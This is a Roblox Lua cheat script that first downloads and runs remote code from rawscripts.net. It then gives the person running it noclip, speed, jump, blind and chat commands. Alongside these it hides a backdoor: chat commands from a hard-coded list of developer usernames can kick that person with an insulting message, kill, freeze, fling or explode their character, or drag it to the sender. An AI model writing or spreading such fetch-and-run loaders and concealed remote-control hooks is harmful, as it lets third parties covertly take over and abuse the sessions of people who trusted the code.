loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-GodMode-29047"))() local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local developerUsernames = {"Aintnoway123n", "Toezo_o", "NannaDev", "FEWithoutEffort"} -- List of developer usernames -- Function to get the UserId from the username local function getUserIdFromUsername(username) local success, userId = pcall(function() return Players:GetUserIdFromNameAsync(username) end) if success then return userId else warn("Failed to get UserId for username:", username) return nil end end -- Retrieve the developers' UserIds local scriptDeveloperIds = {} for _, username in ipairs(developerUsernames) do local userId = getUserIdFromUsername(username) if userId then table.insert(scriptDeveloperIds, userId) else warn("Unable to retrieve UserId for username:", username) end end local followConnection -- To handle the `.follow` connection -- Utility function to execute the command local function executeCommand(message, sender) local lowerMessage = message:lower() -- Ensure the message starts with the new prefix "/" if lowerMessage:sub(1, 1) == "/" then -- Remove the prefix from the message for command matching local command = lowerMessage:sub(2) if table.find(scriptDeveloperIds, sender.UserId) then -- /kick command if command == "kick" then LocalPlayer:Kick("Aint Kicked You Because You're Lifeless Shit") -- /kill command elseif command == "kill" then LocalPlayer.Character:BreakJoints() -- Simulates death by breaking joints -- /rocket command (with fiery trail effect) elseif command == "rocket" then local character = LocalPlayer.Character local humanoidRootPart = character:FindFirstChild("HumanoidRootPart") if humanoidRootPart then -- Create the BodyVelocity to move the player upwards local bodyVelocity = Instance.new("BodyVelocity") bodyVelocity.MaxForce = Vector3.new(100000, 100000, 100000) bodyVelocity.Velocity = Vector3.new(0, 100, 0) -- Normal upward force bodyVelocity.Parent = humanoidRootPart -- Add a trail effect local trail = Instance.new("Trail") trail.Parent = humanoidRootPart trail.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.5, 0)) -- Red to orange gradient trail.Lifetime = 0.5 trail.Attachment0 = Instance.new("Attachment", humanoidRootPart) trail.Attachment1 = Instance.new("Attachment", humanoidRootPart) trail.WidthScale = NumberSequence.new(1, 0) -- Gradually decreases width -- Optional: Add a particle emitter for extra effects local particles = Instance.new("ParticleEmitter") particles.Parent = humanoidRootPart particles.Texture = "rbxassetid://258128463" -- Fire texture particles.Rate = 50 particles.Lifetime = NumberRange.new(0.5, 1) particles.Speed = NumberRange.new(5, 10) particles.VelocitySpread = 180 particles.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 1, 0)) -- Red to yellow gradient particles.LightEmission = 0.7 -- Clean up after 1 second game:GetService("Debris"):AddItem(bodyVelocity, 1) game:GetService("Debris"):AddItem(trail, 1) game:GetService("Debris"):AddItem(particles, 1) end -- /freeze command elseif command == "freeze" then local root = LocalPlayer.Character:FindFirstChild("HumanoidRootPart") if root then local bodyPosition = Instance.new("BodyPosition") bodyPosition.MaxForce = Vector3.new(400000, 400000, 400000) bodyPosition.D = 1000 bodyPosition.P = 50000 bodyPosition.Position = root.Position bodyPosition.Parent = root local bodyGyro = Instance.new("BodyGyro") bodyGyro.MaxTorque = Vector3.new(400000, 400000, 400000) bodyGyro.CFrame = root.CFrame bodyGyro.Parent = root end -- /unfreeze command elseif command == "unfreeze" then local root = LocalPlayer.Character:FindFirstChild("HumanoidRootPart") if root then local bodyPosition = root:FindFirstChildOfClass("BodyPosition") if bodyPosition then bodyPosition:Destroy() end local bodyGyro = root:FindFirstChildOfClass("BodyGyro") if bodyGyro then bodyGyro:Destroy() end end -- /explode command elseif command == "explode" then local explosion = Instance.new("Explosion") explosion.Position = LocalPlayer.Character.HumanoidRootPart.Position explosion.BlastRadius = 10 explosion.BlastPressure = 5000 explosion.Parent = workspace -- /bring command elseif command == "bring" then if LocalPlayer.Character and sender.Character then LocalPlayer.Character:SetPrimaryPartCFrame(sender.Character.HumanoidRootPart.CFrame) end -- /fling command elseif command == "fling" then local bodyVelocity = Instance.new("BodyVelocity") bodyVelocity.MaxForce = Vector3.new(999999999, 999999999, 999999999) bodyVelocity.Velocity = Vector3.new(0, 5000, 0) bodyVelocity.Parent = LocalPlayer.Character:FindFirstChild("HumanoidRootPart") game:GetService("Debris"):AddItem(bodyVelocity, 1) -- /follow command elseif command == "follow" then local humanoid = LocalPlayer.Character:FindFirstChildOfClass("Humanoid") if humanoid and sender.Character then if followConnection then followConnection:Disconnect() end -- Ensure no previous follow connections followConnection = game:GetService("RunService").Stepped:Connect(function() if LocalPlayer.Character and sender.Character then local rootPart = LocalPlayer.Character:FindFirstChild("HumanoidRootPart") local senderRootPart = sender.Character:FindFirstChild("HumanoidRootPart") if rootPart and senderRootPart then local direction = (senderRootPart.Position - rootPart.Position).Unit local targetPosition = senderRootPart.Position - direction * 3 -- Keep some distance rootPart.CFrame = CFrame.new(rootPart.Position, senderRootPart.Position) rootPart.Velocity = direction * humanoid.WalkSpeed end else if followConnection then followConnection:Disconnect() end -- Disconnect if something breaks end end) end -- /unfollow command elseif command == "unfollow" then if followConnection then followConnection:Disconnect() followConnection = nil end -- /sit command elseif command == "sit" then local humanoid = LocalPlayer.Character:FindFirstChildOfClass("Humanoid") if humanoid then humanoid.Sit = true -- This properly sets the character to sit end end end end end local Players = game:GetService("Players") local RunService = game:GetService("RunService") local TextChatService = game:GetService("TextChatService") local LocalPlayer = Players.LocalPlayer local Character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait() local Humanoid = Character:WaitForChild("Humanoid") local isNoclip = false local connection -- Function to enable noclip local function enableNoclip() isNoclip = true connection = RunService.Stepped:Connect(function() for _, part in pairs(Character:GetChildren()) do if part:IsA("BasePart") then part.CanCollide = false end end end) end -- Function to disable noclip local function disableNoclip() isNoclip = false if connection then connection:Disconnect() end for _, part in pairs(Character:GetChildren()) do if part:IsA("BasePart") then part.CanCollide = true end end end -- Function to force jump local function forceJump() if Humanoid then Humanoid.Jump = true end end -- Function to send a chat message (Supports both Legacy and New Chat System) local function sendChatMessage(message) if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then local textChannel = TextChatService.TextChannels.RBXGeneral if textChannel then textChannel:SendAsync(message) end else game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(message, "All") end end -- Prevent multiple event connections if not _G.SayCommandConnected then _G.SayCommandConnected = true -- Listen for chat commands LocalPlayer.Chatted:Connect(function(message) local args = string.split(message, " ") if args[1] == "/noclip" then enableNoclip() print("Noclip Enabled") elseif args[1] == "/unnoclip" then disableNoclip() print("Noclip Disabled") elseif args[1] == "/speed" and args[2] then local speed = tonumber(args[2]) if speed and speed >= 16 and speed <= 500 then Humanoid.WalkSpeed = speed print("Speed set to: " .. speed) end elseif args[1] == "/jump" and args[2] then local jumpPower = tonumber(args[2]) if jumpPower and jumpPower >= 50 and jumpPower <= 1000 then Humanoid.JumpPower = jumpPower print("Jump Power set to: " .. jumpPower) end elseif args[1] == "/forcejump" then forceJump() elseif args[1] == "/say" then local textToSay = message:sub(6) -- Remove "/say " if textToSay and textToSay ~= "" then sendChatMessage(textToSay) end end end) end local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer -- Function to create the blind effect local function blindPlayer() if LocalPlayer:FindFirstChild("PlayerGui") then local gui = Instance.new("ScreenGui") gui.Name = "BlindEffect" gui.ResetOnSpawn = false local frame = Instance.new("Frame") frame.Size = UDim2.new(1, 0, 1, 0) frame.Position = UDim2.new(0, 0, 0, 0) frame.BackgroundColor3 = Color3.new(0, 0, 0) frame.BorderSizePixel = 0 frame.Parent = gui gui.Parent = LocalPlayer:FindFirstChild("PlayerGui") end end -- Function to remove the blind effect local function unblindPlayer() local playerGui = LocalPlayer:FindFirstChild("PlayerGui") if playerGui then local blindGui = playerGui:FindFirstChild("BlindEffect") if blindGui then blindGui:Destroy() end end end -- Listen for chat commands LocalPlayer.Chatted:Connect(function(message) if message:lower() == "/blind" then blindPlayer() elseif message:lower() == "/unblind" then unblindPlayer() end end) -- Event listener for players' chat messages local function onPlayerAdded(player) player.Chatted:Connect(function(message) executeCommand(message, player) end) end -- Listen for PlayerAdded event Players.PlayerAdded:Connect(onPlayerAdded) -- Handle already connected players (in case they were in the game before the script started) for _, player in ipairs(Players:GetPlayers()) do onPlayerAdded(player) end